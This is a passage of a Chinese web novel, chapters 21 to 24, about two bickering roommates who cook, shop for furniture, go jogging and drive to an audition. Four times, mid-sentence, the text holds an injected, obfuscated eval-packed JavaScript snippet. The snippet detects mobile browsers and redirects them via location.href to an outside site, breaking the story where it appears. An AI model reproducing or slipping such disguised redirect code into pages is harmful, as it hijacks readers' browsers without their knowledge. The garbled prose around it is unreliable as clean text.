疼痛叫谢明然清醒,他睁开眼,沈今越眼尾上挑,小脸泛红,微喘着气,好好一个漂亮家伙,嘴里全说着气死人的话。 “算了?你的自控力倒也是挺算了的。” “明然哥,一把年纪了,挺健康哈。”这小孩还有心思抬手拍拍那地方,谢明然皱眉,倒吸一口气。 瞧出人眉眼里的怒意,自觉顺利拿下这一局,沈今越昂着头翘着屁股转头就回卧室。 谢明然? 呵呵。 拿捏,易如反掌。 他回卧室,立刻跟施音汇报胜况。 只茸:咩哈哈哈哈! 只茸:我今天终于看到谢明然破大防了! 一个破碎的跟组小女孩罢了:展开说说。 只茸:俺刚刚以一己之力搞得这厮双目失神,浑身无力,鲜血直流! 一个破碎的跟组小女孩罢了:卧槽,你揍他了? 只茸:没啊,就随便亲了下。 只茸:……? 只茸:人呢?这么喜大普奔的时候!你怎么不说话! 老天对我朋友好点吧:宝啊,有没有一种可能,我只是说可能…… 老天对我朋友好点吧:他不是破防了,他是爽了。 21. 【021】 “唰——!” 沈今越从床上醒来,昨日透光的窗帘成为了他的救星。他没再睡懒觉,轻手轻脚开门,前往次卧捞自己那装有不妙衣服的纸箱子。 “大清早的,做贼啊?”谢明然叼着牙刷,嘴边还有白色泡沫,站在通往次卧的必经之路上。 沈今越吓得身形往后一晃。 “不是,谢明然,你起这么早的?” “压根没睡。”谢明然转头吐掉嘴里的泡沫,上上下下瞧着,“倒是你。早起,不正常。” 沈今越:“……哪有不正常!我只是想着早点收拾完,早点结束!让让,挡道了。” 路过时,他看了眼,谢明然的嘴巴完好无损,没一点昨夜鲜血流淌的样子。 呼。 他有点庆幸,又觉得有些可惜,心里就像是施音之前胡乱做的饮料,杂七杂八什么东西都往里放,一口下去,咂摸不出什么味道。只是一团,就那么一团,上不去下不来,梗在心口处,叫他有些烦躁。 施音昨天提过的话在他脑子里复现。 谢明然爽了?他爽什么?昨天那样,该被气死才对吧? 甩甩脑袋,沈今越麻溜地进屋挪箱子,来不及分辨是哪个箱子里有东西,干脆一口气都抱走,又趁着这股劲,把所有箱子拆开,待找到那些服装道具后,他赶忙找了个收纳盒子,囫囵地塞进去,藏到了衣柜的最里面。 怕一会谢明然看出来,他又自觉地先把这人的衣服抱走,放到次卧。 来回好几趟,出了一身汗。 “谢明然,主卧的衣柜我都腾空了,你的东西我给你放次卧了。” 通知完毕,不等谢明然反应,他进屋洗澡,清清爽爽再出来后,肚子咕咕叫。 想到昨天吃上的美味小面包,沈今越有点馋,他蹑手蹑脚到厨房去看,果然,谢明然已经在上工。 面包烤上了,咖啡正在磨。 他见谢明然磨一会就停下来揉揉手腕。 “喂,手疼啊?” “嗯,职业病。” 沈今越纳闷,心道,无业游民有什么职业病?之前读书落下的毛病?字写太多了?他不想多管,可见谢明然继续磨一会停一会,他这急性子脾气有点看不下去了。 “行不行啊?要不我来?虽然我不会,但是……看我做什么?不愿意就算了。” “没有不愿意。”谢明然让开一点位置,“过来。” “跟招狗似的。”沈今越嘟囔一句,挪着步子过去,站定,手搭上小磨把,问,“就这么旋就行了?” “这样拿,食指放这。”谢明然伸手把住沈今越的,比他粗长的手指覆盖上来,“力度均匀,掌心和手腕都可以发力。” 磨个咖啡贴这么近干嘛? 沈今越屏住呼吸,没说话,手上老老实实地按着谢明然说的做。一圈又一圈,身子紧绷得要命,手都有些累了,终于听到谢明然说好。 “可以了?”他在自己不擅长的领域一贯小心翼翼。 谢明然没直接回答,弯腰低头看了眼。 “将就。”他说。 沈今越冷笑:“少爷,您还挑上了。” “什么将就?我这分明就是鬼斧神工妙手仁心——” 沈今越去抓谢明然拿起来的水壶,欲再帮忙,谢明然将东西挪开:“成成成,小天才,你别闹。” 空的那只手揉了把沈今越的头发。 “旁边待会。” 沈今越浑身发毛。 “谢明然。” “讲。” “你睡醒了吗?”他一张大脸凑到人面前,“是我啊,沈今越。” “我的视力还没烂到你那地步。”谢明然说,“又发什么疯?” 噢。 对味了。 他耸耸肩,让开位置,看谢明然继续。 原来手磨一杯咖啡这么麻烦,就连冲泡的方式都如此讲究。还有那小牛角包,现在才几点啊?这就烤上了。要加上揉面团的时间,还要不要睡觉了? 谢明然是在沙发睡得不舒服,干脆起来做面包吗?眼睛下黑乎乎的,一看就是熬夜人。 他抿抿唇,拿出手机,给谢明然转了一百八十八。 放在台面上的手机弹出转账提醒。 沈今越也兜了眼。 “……”笨蛋?谁?他?! 他二话不说拿出手机,把R的备注改成‘傻逼’。 还是自个点外卖吧,他这个笨蛋才不要吃傻逼做的东西。 沈今越走向沙发,往里一坐,就感觉沙发上的薄被里充斥着谢明然的气息,还有昨天在这发生的事,以及施音那一句‘你确定不是爽了’。他一下站起来。 谢明然正巧出来。 “怎么?沙发上有针?” “是啊,绣~花~针~” 谢明然没接话,找了个放书的床上小桌子代替茶几,又把咖啡和小牛角包放上去。两人份,盘摆得精致漂亮。 沈今越:“有我的?” 谢明然:“不然?自己磨的咖啡,不试试?” 沈今越遂坐下。 “给我转钱做什么?”谢明然咬一口面包问。 沈今越:“噢,早餐费。” 谢明然:“多了。” 沈今越:“我看你是话多。” 他先一口吞掉小面包,又去喝咖啡。 谢明然没说话,在对面看着他,那眼神明摆着等他点评。 吃人嘴软,沈今越顺口就说:“味道不错,就是这咖啡差点意思,没你磨得好喝。” 谢明然:“我磨的?” 他把手上最后一点面包放进嘴里,慢悠悠地说:“你什么时候喝过我磨的咖啡?” …… ………… 沈今越迅速找补:“猜的,看你那架势,就很专业,我都没干过这个。” “好喝是好喝,就真有点麻烦。”他忍不住说,“你要本来就有职业病,干嘛自己磨?点外卖可以,或者我朋友之前搞得那个胶囊咖啡就挺方便的,味道也可以,你爱喝咖啡可以试试。” “不用。”谢明然说得理直气壮,把沈今越的话原句奉还,“我这人挺挑。” “中午吃什么,把菜点了。”他把手机推到沈今越面前,界面上是线上买菜的购物页面,“一八八多了,给你加顿午餐。” 他是不是被谢明然CPU了?怎么忽然觉得这人还挺实诚。 本想着今天再点那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007254|147703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家外卖的,但看谢明然这样,沈今越决定给他一个发挥厨艺的机会。 “我先说啊,我在减肥。” “知道。”谢明然干脆利落地说,“西兰花豆腐烘蛋,西红柿菌菇汤,鸡腿豆腐杂蔬糙米盖饭,够你吃吗?” 沈今越:“……?”哥们你真会做?! “不够?怎么?还是想吃沙拉?这几个菜热量都不算高,不相信?我算给你看?” · 收拾一上午,沈今越的效率显然比昨日有明显的提高。一鼓作气,轻车熟路,赶在谢明然做好饭之前结工。他揉揉酸痛的后腰,去厨房看。 谢明然做饭很利落,就连他这个外行人一看也清楚,此人刀工了得,料理习惯也好,一顿饭做下来,台面干干净净。 “饿了?”谢明然回头问。 沈今越嘟囔:“将就。” 谢明然哼笑一声,指使到:“那个绿色盘子递给我。” 沈今越顺其自然行动。 “帮我拿下海盐。” “哪个是海盐?” “蓝色玻璃瓶,看见没?” 这么来回好几趟,沈今越琢磨出不对劲。 他小手往裤兜一揣,彻底罢工。 “谢明然,你故意的是不是?” “什么?帮我拿下豆腐。” “不拿。” “油热了,快点。” “……” “我跟你说你这样是得退钱的。”沈今越嘴上叨叨,手里还是麻溜干活,“哪有餐厅是让顾客帮厨的?我来厨房是为了监工,不是为了给你干这个……啊啊啊!油炸了!” 锅内油点噼里啪啦蹦起来。 沈今越往后一蹿。 谢明然不动声色地扬唇又落下,熟练地控制了情况。 “出去吧。”他说,“好了叫你。” 沈今越:“这还差不多!” 他没对谢明然的手艺抱有期待,可等菜品端出来,放在简易的小桌上,沈今越的口水没骨气地吞咽了起来。 “你确定这些能减肥?”看起来太好吃了,不像是他配吃的。 “热量在这。”手机被谢明然推过来,上面明白计算着每道菜。 沈今越瞄了眼,动起筷子决定试试。第一口虾仁就叫他惊艳,眼睛瞪圆,不敢置信。 “你没偷偷点外卖吧?”那叫什么来着?偷梁换柱? 谢明然:“我就当做你在夸我了。” “就……还不错吧。”说是这么说,沈今越的筷子一刻没停下。 “中午买的菜量还有剩余,晚上再做别的。” 沈今越忙着吃饭,点点头。 “明天早饭你吃吗?” “有课,要早起。……等等,怎么就到明天早上了?” 谢明然泰然自若地夹起一块豆腐放进碗里。 “有些人不是嚷着要退钱?退是不能退的,给你折算成下一顿,如何?” “噢……那你帮我弄下早饭吧,咖啡就算了,手都那样了,别老磨磨。” “放心,真用坏了不算工伤,不收你钱。” “…………” 呵呵。 谢明然。 去死。 22. 【022】 下午得空,沈今越和谢明然奉命去采买家具,逛完一圈回来,已经是傍晚。主要是谢明然这人太挑,什么都看不上,什么都不满意,好不容易看中了,还能给人杀价半晌。两人都是拿着谢明棠给的预算办事的,姐姐原话是尽管往好的挑。 一挑就是大半天。 沈今越忙着招呼工人把家具搬进屋,谢明然在厨房忙活。 等人走了,沈今越瞧着那餐桌。 “你怎么想的呢?十二万的桌子能杀到两万八。”沈今越想想都觉得梦幻。这是人能砍出来的价格? 谢明然端着晚饭出来:“那你怎么想的呢?别人说多少就是多少。” 沈今越瘪瘪嘴。 还不是不好开口?他有还价羞耻症。 “就你这样,装得乖乖的,往那一站,去市场买菜,两块一斤的都能二十卖给你。” “喂,谢明然,你别太离谱啊!我有那么好欺负吗?” 男人丢过来一个‘你觉得呢’的眼神。 “家具本来溢价就高。”谢明然把他挥起来的拳头掰开,拉开椅子叫他坐下吃饭,又讲,“越贵的家具越能往下砍,就他用的这个所谓进口木材,根本没那么高的成本。” 沈今越:“你怎么知道?你一个大少爷,什么时候这么懂这些了?” 谢明然筷子定了定,抬眸扫过来:“你以为谁都和你一样?” “那又怎么了?一个家有一个会砍价的不就行了。” 谢明然:“……嗯?” 沈今越恨自己嘴快。 他低头狠咬一口鸡腿肉,讲话模糊不清:“我不是那个意思。” “我知道你不想跟我住一块。”沈今越敞开天窗说亮话,“但是没办法,我现在已经搬过来了。虽然说咱们彼此都互看不顺眼,可好歹也是待在一个屋檐下了,说是一个家,不过分吧?” “我没什么意思。”谢明然拿起纸巾不紧不慢地擦了擦嘴角,“你讲得挺对。” 敷衍。 沈今越胡乱做了个鬼脸,懒得跟谢明然计较,一边吃,一边给谢明棠汇报买家具的事。本来该让谢明然干的,但棠棠姐的钱直接打到他账户上,搞得他变成了财务员。 靠谢明然的牛逼砍价功力,剩下的款项还剩大半。 沈今越转回去,谢明棠没收。 “留给你们当生活费啦。”谢明棠说,“小越你好好把钱拿着,可别直接给那小子,谁知道他会不会乱花。” “谢明然,你在棠棠姐那的信誉到底有多坏?” “什么?” “今天剩下的钱她没收,让我拿着,说不能给你,还说是我们俩的生活费。你要不要去跟她再说说啊?”谢明棠给谢明然生活费就算了,给他算什么回事? 谢明然拿起手机,给人发消息。 谢明棠回得很快。 只有一句话。 ——我这个做姐姐的就帮你到这了。 谢明然:“……” 不是说了让她别多管这事吗? “麻烦。”谢明然抬手扶额,“她给你你就收着,我去说又有什么用?” “啊?真就这样了?” “不然?你去找谢明棠谈谈?” 那还是算了。沈今越眨眨眼,“要不我把钱偷偷转给你。” 谢明然淡淡看他:“想让我被她弄死就直说。” 沈今越想象那画面,嘿嘿一笑。 “好吧。”换个思路想,他这下也算打入敌人内部,意外掌握财政大权,“我是不会自己用这笔钱的,剩下的都当做你的家用开支,你要多少我取多少,这样可以吧?” 谢明然没反驳,沈今越就当他同意了。 从没管过两个人的钱,沈今越算得很用心,双人开销除开水电气和物业网费外,也就剩下采购和吃食了。吃饭这事,谢明然要买菜可以一周或一个月支取一次。所有钱的一半他会自己出,谢明棠是好心,但他无功不受禄,已经白住了人家的房子,哪有再白吃白喝的。 他捋得明明白白,客客气气,多一分便宜也不占。 谢明然说可以,至于买菜和生活费这事。 “我每天再找你报。” 沈今越:“每天是不是太麻烦……我直接一次转给你……” 谢明然:“不要,那我还得自己算。” 沈今越:“……” 丫的高考数学满分你还算不过这点钱了?! 他跟施音悄悄打电话吐槽。 “什么嘛,这么让我管钱,搞得好像我是他管家一样。” 施音:“小茸啊,除了管家,这么管钱的还有别人。” 沈今越:“谁?” 施音:“你品品。” 沈今越品了半天,明白了:“他总不能把我当爹吧?还是当妈了?这不可能啊。” 施音:“……”替谢明然点烟。 沈今越:“罢了,不提他。你呢?搬去宿舍怎么样?” 施音:“挺好的!我那个研究生学姐室友人不错,而且也喜欢调酒,我跟她发现了一个商机。” 沈今越:“什么?” 施音:“在宿舍楼里卖酒啊,调酒按一杯算价,在宿舍送货上门,拉个了群,过两天试营业,晚上没事干偶尔可以赚赚外快。” 沈今越:“牛啊施音,有你这个头脑,做什么事能不成?” 施音:“还行吧,找点别的事干,成天泡在剧组里,人都快疯了。各个庙小妖风大,我前两天遇到那个,戴上墨镜就以为自己是老王,没个剧本也瞎拍,真受不了了。” 施音:“你那个剧组什么时候去面?” 是沈今越搬家前提到的那个,老师推荐的名额,项目过度保密,导致沈今越到现在也不知道具体是什么,只晓得是古装武侠,多的再也不清楚。 “三天后。”沈今越讲,“快了,我想起就紧张。我争取这两天掉点秤,面试的时候也好受些。不跟你说了,到点下楼跑步了。” 施音:“去去去,再把你那个室友少爷带上,两个人一块运动运动。” 沈今越:“……我是吃饱了撑的?跟他一块运动做什么?” · “你吃撑了?”沈今越盯着和他一块出门的谢明然,问。 谢明然正低头整理着运动服上的褶皱:“微撑。” 沈今越抬手,掌心收拢成空心,没捏紧:“你看这是什么?” 谢明然认真端详,得出结论,右手成拳往左手掌心一敲: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019659|147703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊,是零。” 沈今越:“……” 沈今越:“是微硬!!拳头微硬!!” 谢明然:“我常常对你的大脑报以崇高的敬意,它是怎么在如此小的容量里存在着如此多……莫名其妙的东西。” 沈今越大翻白眼,撞开谢明然的胳膊,从稳降到一楼的电梯门口走出去。他步子迈得快,谢明然慢晃晃地跟在后面,两人顺着小区的绿道走。 突然,沈今越开始加速,匀速奔跑。 谢明然不急,保持着自己缓慢的速度走着,两人的距离越拉越远,直到,沈今越突然停下脚步。 小区路灯下,另外一道站在沈今越面前的身影眼熟无比。 谢明然眯了眯眼。 小区什么时候来熊了? 他加快步伐。 沈今越是被喊停的,声音很熟悉,转头去看,才发现是见过的。准确来说,是他如今单方面见过。 “不好意思,你的钱包掉了。” “谢谢。”沈今越摇摇头,礼貌地说,“但这不是我的。” “是吗?”来人挠挠短平发的脑袋,“抱歉,是我看错了。” “没关系。”沈今越准备继续开跑。 “您是在锻炼吗?啊……我没有别的意思,是这样的,我开了一家轻食店和健身房,想说有机会的话,可以试试我们店的产品。最近开店初期搞活动,有优惠的。” “我试过了,你家的沙拉确实不错。” “这样啊,那要不要加个微信,后面再下单,也有其他优惠。” 省钱的事沈今越乐意,他说好啊,拿出手机。 嘀地扫码音响起。 不是沈今越的。 他抬头,谢明然刚走过来,手机上显示已发出好友申请。 沈今越:“……?” 猛男:“……这位是?” 沈今越:“我室友。” 猛男:“合租啊。” 谢明然不紧不慢地说:“他住我家。” 这人顺其自然地站在了沈今越和猛男的中间,煞有介事地问:“微信下单有优惠是吧?” 猛男:“是的,也有小程序……”不知道为何,在谢明然面前,这人说话的语气都弱了些。 “ok。”谢明然确认完毕,目光停留在对方手里拿着的钱包上,“好友加完了,先生,你要不要先去找找这钱包的失主?” 猛男:“……” 他朝着二人道谢,很快走掉。 沈今越奇奇怪怪地看身边人:“你加他做什么?你也要减肥?” 谢明然收起手机:“你要吃的时候我先点,再跟你说价格。” 沈今越有点听晕了:“绕这一圈干嘛?我自己买单就好了啊。” 谢明然理直气壮地看着他:“不是说好了?我先垫付,再找你报账。这样一块支出,比较好算账。” “哦。”这不是沈今越的赛道,他还是有点晕乎,但,“你要不嫌麻烦那就这样。”他倒是无所谓,“我先继续跑步了。” “……不是,谢明然,你突然跟着我跑做什么?” “天黑了,我害怕,不行吗?” 沈今越看着小区里明晃晃的路灯,片刻无言。 23. 【023】 三天后。 沈今越起了个大早。 剧组面试的时间在下午两点,要求素颜前往。为了尽可能地保持自己的面部状态,他特意早起猛喝两杯黑咖啡去肿,又折腾面膜护肤。脸上的事忙完了,下楼去活动身体开嗓。基本准备工作做完,沈今越挑了两小时衣服。 施音知道今天是他的大日子,特意挂着视频电话跟他沟通。 “这件不错,简单却不失气质,有那么点校园白月光的感觉,不过会不会太素了?你今天去面的这个是什么角色?咱们往这上面靠靠?” “没提。”沈今越拎着衣服一脸苦瓜相,“老师就说是个大项目,好机会,让我珍惜,其他的什么都没提。” 施音倒吸一口凉气:“但凡不是你老师推荐的,我都要怀疑这剧组的正规性了。真要是腰子被割了,我立刻上网举报你老师!” 沈今越心底其实也虚。 就没听过这么办事的。 正常来说都是制片方递本子,演员再去试,双方都满意,这次就算成了。当然,像他这种十八线的边都摸不着的真空窒息小透明,一般都是通过选角导演发的小广告招募自请上门。没签约,没公司,没背景,沈今越想着,能去小成本网剧当个男三四五六已是很不错的事情。 “要不就这套吧。”沈今越敲定,“保险不出错,求稳就是最好的。” 衣服定下来,沈今越挂了电话,心里七上八下不得劲,胸膛里起伏着的都是对未知的恐惧与期待。他踩着拖鞋去客厅,谢明然在看书。 侧躺在沙发上,半倚着扶臂,手里拿着很薄的一本泛黄旧书,瞧他来来回回走动好几趟,不是喝水就是去阳台浇草,谢明然轻叹口气,从容不迫地把书再翻一页:“怎么?地板烫脚?” 沈今越一下刹住步伐:“你在跟我说话?” 谢明然直起身子,把手中的《人海记》合拢,目光在他身上巡游一遍:“这就是你折腾一上午的结果?” 沈今越下意识挺直胸膛:“干嘛?不行?” 谢明然伸长手臂将书放回客厅新买的小书架上,道:“挺好的,今天准备出门去祸害谁?” 沈今越:“……” 谢明然:“有约会啊?” 沈今越看神经一样甩给他一眼:“约个毛,我去试镜。” 谢明然点亮手机屏幕,调出空气云层图,放到桌上,往沈今越所站的地方轻轻一推:“好心提醒,建议你换条深色裤子。” 沈今越没懂:“什么意思?”他弯腰过来,直接跪在地上,伸长脖子去瞧,手机屏幕上又红又蓝乱七八糟的气象图他根本看不明白,他猜,“一会要下雨?” 谢明然颔首。 沈今越拿出自己的手机,点开天气预报页面:“没显示啊。” 话刚说完,页面刷新变化,未来六小时内,多云转阵雨,小水滴的符号霸占住整个页面。 沈今越惊讶:“卧槽,谢明然,你龙王啊?” 谢明然还是那种看笨蛋的眼神,自沙发起身,没搭理沈今越的话,沈今越噘噘嘴,麻溜地回房间换衣服,浅色裤子改成了牛仔裤,对着镜子确认半天,决定就这么着了。 从这出发到面试地点开车要一个小时二十分钟,地铁时间差不多,沈今越打算提前三小时出发,以防万一。 他翻出伞往玄关走,见谢明然也换了套外出服,手里还拎着个小袋子。 “你也出门?”他问。 谢明然拿起挂在玄关边的车钥匙:“送你。” “啊?”沈今越没料到是这回答,他推测,“棠棠姐让的?” 谢明然挑起眼皮看他,没否认。 “她怎么知道的?” 谢明然弯腰不慌不忙地换好鞋,起身说:“刚刚她打了个电话,问我今天什么安排,提到你,我讲你要去试镜。”他晃了晃手里的钥匙,“事情就变成了这样。” “棠棠姐真好!”沈今越笑起来的时候,眼眸弯弯,特别可爱。 谢明然嗤了一声,不作评价。 · 地下车库。 上车后,沈今越刚坐稳,安全带系好,谢明然手里的袋子就被丢到他的身上。 沈今越:“???” 沈今越:“有没有礼貌!这么对待一个即将冉冉升起的新星!万一我今天被选中当男主角一夜出道爆红,谢明然,我告诉你,你就完蛋了!” 谢明然往右一打方向盘将车开出,眼光时刻注意着后视镜,嘴上没停:“好的,新星同学。” “早上烤的面包和舒化奶,知道你中午没打算吃饭,多少垫垫肚子。我听说试镜时间不定,要是你耗到最后,饿晕了反而影响发挥。” 沈今越低头翻看牛皮纸小口袋。 舒化奶是他常喝的牌子,他一贯乳糖不耐,就爱这个。 沈今越的嘴角不自觉地轻扬,适才咋咋呼呼的夸张语调降了下来:“噢?这也是棠棠姐跟你说的?” 谢明然依旧没看他一眼,专心将车驶出车库:“不然?” “好吧。”沈今越见车已上大路,平稳朝前走着,拿出面包,低头啃了一口,“你说是就是吧。” 谢明然借看右后镜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027586|147703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候,余光自沈今越面上扫过。他吃得认真,一口面包一口奶,两颊鼓鼓,像只仓鼠。眼底浮出丝丝笑意,很快又收敛下去。 雨师半道上来的,毫无预兆,突然至极,自天而降,有倾盆之势。 车在高架桥上,几乎是一瞬间,前路一下看不清,就算门窗紧闭,也挡不住噼里啪啦落下来的雨点声音。 原本行驶顺利的车队速度很快减缓,甚至出现拥堵的情况。 谢明然单手把着方向盘,空的那只手在车载大屏上滑动,导航指引的路线中,畅通无阻的绿色被一眼夺目的红替代,四周传来急躁的鸣笛声,大雨磅礴,把焦躁得氛围烘托得更加严重。 “怎么回事?”沈今越心神不宁地问,“这要堵很久吗?” “前面岔道口出了车祸,等交警来处理完路应该就通了。”谢明然点开地图的实时聊天区,很快将内容浏览完毕。 往日最聒噪的小孩变成了哑巴,时而扭头看窗外大雨淋漓,时而摁亮手机屏幕去瞧时间,两条腿放在车上好似不知道怎么摆,坐立难安,指尖也拽着安全带,下意识地在上面来回抠着。 “你别紧张。”谢明然说。 沈今越张口就反驳:“我没紧张!” 谢明然心平气定地讲:“这段超乎意料的堵车不会增加这次坐车成本,我会按照原本的市场价给你算费用,时长就不计入在内了。” 沈今越:“……??” 胸口随着压抑雨天氛围而不断膨胀到几乎快要叫他喘不过来的气球在这一刻砰地一下被这可恶的发言刺破。 他一下把头扭过来,瞪着谢明然,举起手里放着已喝完牛奶瓶的纸袋:“那这个呢?这个也要算钱吗?” 谢明然:“怎么会?” 沈今越哼了一声。 谢明然慢条斯理:“这个属于报销范畴,不用算钱。” 沈今越:“……” 什么紧张不安担忧……没啦!全都没啦! 眉毛着火,两眼怒气勃勃。碍于某人坐在驾驶位上,不能动他,只好伸出自己的猫猫拳,隔着一尺的距离,虚空对其狂揍。 男人敛眸掩住眼底笑意,一手抓住乱动的拳头。 “好了。”他换挡,手收回来时,顺道拍拍沈今越的脑袋,“路通了,乘客先生坐稳当了。” 雨刮器将车窗前遮天蔽日的雨幕撕破,沈今越别过头,不肯看前面,左手覆在右手手背上,方才被谢明然大掌包裹的地方,超乎寻常地发着烫,叫他的左侧肋骨下,似乎也积聚起了如车窗外的厚云,堆在他的心口,闷得人顿觉不妙。 24. 【024】 天还在下雨,车却已停了下来,沈今越收拾着东西准备开门,谢明然唤住他:“几点结束?给我发个消息。” 沈今越瘪嘴:“那就不麻烦您老了,我自己会回。” 谢明然两手搭在方向盘上,下颌枕着手臂,侧头看他:“生气了?这点赚钱的机会都不给我呀?” 回应他的是一个利落的中指,微信转账的提示音效,以及啪地一声关门响动。 谢明然隔着车窗定定地望着他的背影,薄薄一个小人,撑着很大的伞,远瞧过去,是朵行走的蘑菇,低着头,努力辨认着小水坑,生怕弄脏了自己的鞋裤。 可爱。 来电铃声响起,他百无聊赖地接通,车载音响里一下传来个吊儿郎当的男人声音。 “老谢,来了没?人到哪了?方寒也到了,快点呢,就差你了。” “不是还没两点?” “哎呀,想你了嘛这不是?多久没见了。所以到哪了?” “楼下。”谢明然说,“办公室等我。” 车从临停区开走,往地下车库去。谢明然找准位置,下车,绕到后备箱拿了个大袋子,走员工内部电梯上了楼,出电梯门左拐,输入密码进办公室。 室内里坐着个姿态散漫的男人,头发做了精致的造型,穿得西装革履人模狗样,两条腿却放在桌面上,双手横握着手机打游戏,听见动静,抬头看了眼。 “来了啊老谢。” 谢明然没说话,径直往办公室的私密小隔间去。 裴子逸手指快在屏幕上搓出火花:“卧槽,卧槽,一波啊——靠!垃圾队友,毁我战绩!”手机往桌上一丢,“你这什么情况,手里拎着这一大包。” 谢明然斜睨过去,敲敲隔间的门,对裴子逸说,“密码。” 裴子逸仰着头,后背随着椅子一晃一晃:“你要这个做什么?那可是我培育爱的秘密空间,你——” 谢明然嫌弃地把手收回来:“滚出去。” 裴子逸:“你搞清楚!这是我的办公室!” 谢明然:“也行。” 他话音一落,就开始拉拉链脱外套。 裴子逸:“……”不要脸的狗东西。 他麻溜地把腿收回来,迅速把椅子往后一转,背对着谢明然。 谢明然三下五除二换好衣服,就连鞋子也换掉,一瞬间,连帽衫套在头上,整张脸被口罩遮完,往那沙发上一坐,身子蜷缩,俨然是另外模样。 “怎么样?”他问,“转过来。” 裴子逸脚下一踩,椅子转边,见眼前情景,瞠目结舌:“搞什么啊老谢?大白天玩变装?不是早跟你说了,会给你单独留个小空间,让你看监视器,不用露面的。” 谢明然低头又绑了一次鞋带:“那也不行,万一过去的路上被拍到怎么办?他虽然笨,但是有时候又很聪明。” “……”听听这是人话吗? 裴子逸把玩着桌面上的钢笔,“就这么想瞒着他?” 谢明然没应声。 裴子逸将笔在指尖转了个花:“不过,我很好奇啊,目前的情况和我俩之前说好的不太一样。容我小小八卦一下,究竟是什么让你改变了计划?他分手了?” 鞋带被狠狠一下拉紧,谢明然抬头,遮得严严实实的脸上,唯有眼睛锋利如初。 “不。”谢明然从袋子里掏出一个巨大的黑框眼镜,做作地抬手将镜框向上一推,“因为物理学不存在了。” “有病。”裴子逸犀利点评,手里的钢笔啪嗒一下滑落,直接掉在地上。他懵圈半晌,弯腰捡起笔,打开一看,笔尖歪掉,顿时欲哭无泪:“我的笔!” “谢明棠送的?” 裴子逸哦了一声,把笔丢进垃圾桶,又从抽屉里拿出一支一模一样的新品。 “那倒不是。”他说,“只是同款。送的那只在我家保险柜里。” 裴子逸看了眼时间,招呼谢明然出发。两人往试镜的会议室去,隔着长而空的走廊,谢明然一眼就瞧见等候人群里漂亮的那只蘑菇。他正礼貌乖巧地同工作人员对话,也不知道说了什么。 “等下是按随机抽签的顺序进入,先是群面。”工作人员回答沈今越的问题,“会提前二十分钟通知你准备的,至于试镜考题,是进场后随机抽取的哦。你是15号,可能要等一会呢,可以去旁边的茶水间休息的,楼下也有咖啡厅。” 15号啊。 沈今越看了眼手里的小牌。 “谢谢姐姐。”他嘴很甜,叫得工作人员喜笑颜开。 总感觉有人在看自己,沈今越顺着视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037731|147703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的方位瞧去,只见走廊尽头,面试间的门被推开,有个奇怪的男人在朝自己挥手,长得有点眼熟,一时半会记不起来。他歪歪头,思索着,就见这人被身后弓着背蜷着身的黑衣男人一把推进了门内。 古怪。 沈今越越发开始怀疑这剧组的靠谱的程度了。 他找了个角落坐下,施音问他如何,就连老师也发来消息,长长的文字叮嘱他加油。沈今越挨着回复,号码牌捏在掌心,纸张的边缘提醒着他不能太过紧张。 新消息弹出来。 傻逼:在吗?我有东西忘记拿了。 只茸:??? 只茸:什么东西。 傻逼:你摸摸外套左边口袋。 只茸:你有毛病吧?你东西怎么会在我衣服里? 回是这么回,他还是手欠地往兜里一摸。表情微顿,迟疑着拿出来时,掌心摊开,是葡萄味的水果糖。 目光转回屏幕。 傻逼:找到了? 傻逼:你半道睡着,我开车犯困,拆了包糖,顺手往你兜里放了颗。 沈今越拆开糖纸,含住嘴里,甜度正好,他扬扬眉,正准备给这人转五毛钱。 傻逼:不谢,免费。 傻逼:欢迎下次使用本专车特送服务^^ 紫色的糖果被顶到左边,又被舌尖重新推回来。 为了赚他那点钱,这人还真是不留余力。 只茸:好的,谢师傅。 只茸:候着吧。 只茸:等我通知。 怕谢明然回过来的消息他看不惯,沈今越熄了屏,将手机揣回兜里。快到两点,来的人越来越多,沈今越一眼望过去,有不少都是叫得上名的,当然,也有和他一样的新人。 